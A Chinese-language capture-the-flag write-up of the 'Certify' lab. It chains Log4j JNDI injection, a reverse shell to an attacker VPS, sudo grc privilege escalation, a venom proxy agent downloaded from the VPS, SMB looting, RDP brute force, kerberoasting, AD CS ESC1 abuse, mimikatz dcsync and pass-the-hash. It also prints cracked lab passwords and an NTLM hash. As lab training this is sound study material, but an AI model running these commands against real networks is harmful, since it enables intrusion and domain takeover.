banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

春秋云镜靶场--Certify记录

[[仿真靶场 - Certify]]#

靶场介绍#

Certify 是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 flag,分布于不同的靶机。

  • Solr
  • AD CS
  • SMB
  • Kerberos
  • 域渗透

解题步骤#

第一个 flag#

nmap 扫描

image

80 端口扫描目录无果

nmap 全端口扫描

image

访问http://39.99.234.17:8983/solr/#/,是 solr 界面,可能存在 log4j 漏洞

image

访问http://39.99.234.17:8983/solr/admin/info/system?_=${jndi:ldap://1fed89d19d.ipv6.1433.eu.org}&wt=json测试是否可以访问 dnslog,如下,可访问,可能存在 log4j 漏洞

image

反弹 shell

利用 JNDI 返回 shell,在 vps 上

image

同时在 vps 开启监听

nc -lvnp 1234

image

ldap://x.x.x.x:1389/Basic/ReverseShell/vps的ip地址/1234

发送请求成功返回 shell

image

solr 用户未找到 flag,需要提权至 root 用户

sudo -l,查看以 sudo 权限运行的文件,可以找到/usr/bin/grc文件无需输入 root 密码即可以 root 身份运行

image

直接运行/usr/bin/grc文件,输出如下,注意 --pty 参数

image

https://gtfobins.github.io/gtfobins/grc/ 网站可以找到 grc 提权的方法

image

sudo grc --pty /bin/sh

image

获取第一个 flag

image

第二个 flag#

查看服务器 ip,solr 服务器的 ip 地址是:172.22.9.19

image

上传 fscan 扫描

image

扫描后的信息整理如下:

172.22.9.7 XIAORANG\XIAORANG-DC #dc服务器
172.22.9.26 #域内机器
172.22.9.47 #fileserver
172.22.9.19 #solr服务器

注意:看了别人的 wp,发现这里少了一台服务器,后面的两个 flag 就拿不到

将内网流量代理出来,用venom进行代理

1、vps 上监听

./admin_linux_x64 -lport 9999

image

2、同时,vps 上开启 web 服务

python3 -m http.server

3、solr 靶机下载 agent 端

wget http://vps的ip地址:8000/agent_linux_x64

4、靶机运行 venom 的 agent,连接服务端

./agent_linux_x64 -rhost vps的ip地址 -rport 9999

image

开启 socks 代理

image

先看下文件服务器,测试下是否存在文件共享

kali 下修改 /etc/proxychains4.conf 文件,设置代理服务器

nmap 扫描

proxychains -q nmap -sT -A 172.22.9.47

image

proxychains smbclient \\\\172.22.9.47\\fileshare

image

get personnel.db 
get secret\flag02.txt

image

获取到第二个 flag

image

tips, you have enumerated smb. But do you know what an SPN is?(确实,你已经提到了 smb。但是,你是否了解 SPN 的含义呢?)

第三个 flag#

查看 personnel.db 文件,可以找到一些用户名和密码

image

image

导出用户名和密码,通过 hydra 爆破 rdp,爆破了两个帐号,但无法登录

proxychains hydra -L user.txt -P pwd.txt 172.22.9.26 rdp -vV

image

image

报错告诉我们账户可能有效,但似乎没有启用远程桌面功能。

根据 flag02 中的提示(确实,你已经提到了 smb。但是,你是否了解 SPN 的含义呢?)

去获取域用户下的 spn

proxychains -q python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian

输入 hydra 爆破的密码

image

得到了 krb5tgs 的 Kerberos TGS-REP(Ticket-Granting Service Reply)票据的哈希

通过 hashcat 爆破

hashcat -m 13100 -a 0 hash.txt wordlist.txt

爆破出了 zhangxia 和 chenchen 的密码

image

密码如下:

MyPass2@@6
@Passw0rd@

rdp 连接

 proxychains xfreerdp /u:"[email protected]" /v:172.22.9.26:3389

image

成功访问了 172.22.9.26 的 rdp

image

无法访问 administrator 目录,flag 在这个目录下

第四个 flag#

ADCS ESC1#

参考:
https://book.hacktricks.xyz/v/cn/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
https://book.hacktricks.xyz/v/cn/windows-hardening/active-directory-methodology/ad-certificates/account-persistence

下载 Certify 文件,上传至 172.22.9.26 上

Certify 下载:https://github.com/r3motecontrol/Ghostpack-CompiledBinaries

运行如下命令:

#查找易受攻击的证书模板
Certify.exe find /vulnerable

image

查看设置了 msPKI-Certificate-Name-Flag: (0x1) ENROLLEE_SUPPLIES_SUBJECT 标志的证书模版,利用这个漏洞冒充管理员

image

注:但是运行后报错,经排查发现此环境还有一台服务器没起来,172.22.9.13,这台服务器为 CA 服务器,后面重试了好几次都起不来。

image

正常来说这一步可以为域管理员申请证书,输出一个证书文件。然后将证书格式转换为.pfx 格式。

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

然后使用 Rubeus 或 certipy 进行身份验证

Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt

获得票据后导出 hash

mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit

运行上述命令后就可以获得域内用户和域管的 hash。

hash 传递#

有 hash 之后就可以进行 hash 传递,获取域内用户权限

proxychains crackmapexec smb 172.22.9.26 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

image

同样的方式获取 172.22.9.7(域管的权限)

proxychains crackmapexec smb 172.22.9.7 -u administrator -H00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type c:\Users\Administrator\flag\flag04.txt"

image

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.